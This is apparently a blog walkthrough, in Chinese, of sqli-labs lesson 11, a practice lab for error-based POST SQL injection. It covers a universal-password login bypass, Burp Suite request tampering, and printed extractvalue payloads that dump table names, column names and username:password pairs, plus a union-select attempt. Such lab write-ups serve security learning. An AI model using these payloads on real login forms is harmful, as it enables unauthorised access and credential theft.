sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)

Post 基于表单提交,类似于下图

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第1张图片

Sql的注释:--【空格】单行注释 在url中用--+

           # 单行注释

                      /**/ 多行注释

Post注入 个人觉得就是想法设法搞到密码登录或者想办法绕过密码

 

方法一:

我们先随便输入一个账号密码给账号加上反斜杠看看啥情况,发现有报错,so根据报错字段应该是被单引号隐起来的。

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第2张图片

于是首先尝试一下万能密码,发现万能密码成功登陆。

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第3张图片

 

方法二:

既然是基于爆粗的,我们就可以做很多事情

我们通过bp(burp suite)如何没有用过可以底部私聊邮箱发你资料

我们用bp进行抓包改包

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第4张图片

对bp进行如下改包即可。

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第5张图片

复现一下语句:

sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)_第6张图片

报表:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

报字段

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

报值

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

在这里也是有多种报错形式,不唯一

 

方法三就是构造union 和get注入相似

Username=1’ union select 1,2,3;

 

 

你可能感兴趣的:(安全,sql注入学习总结)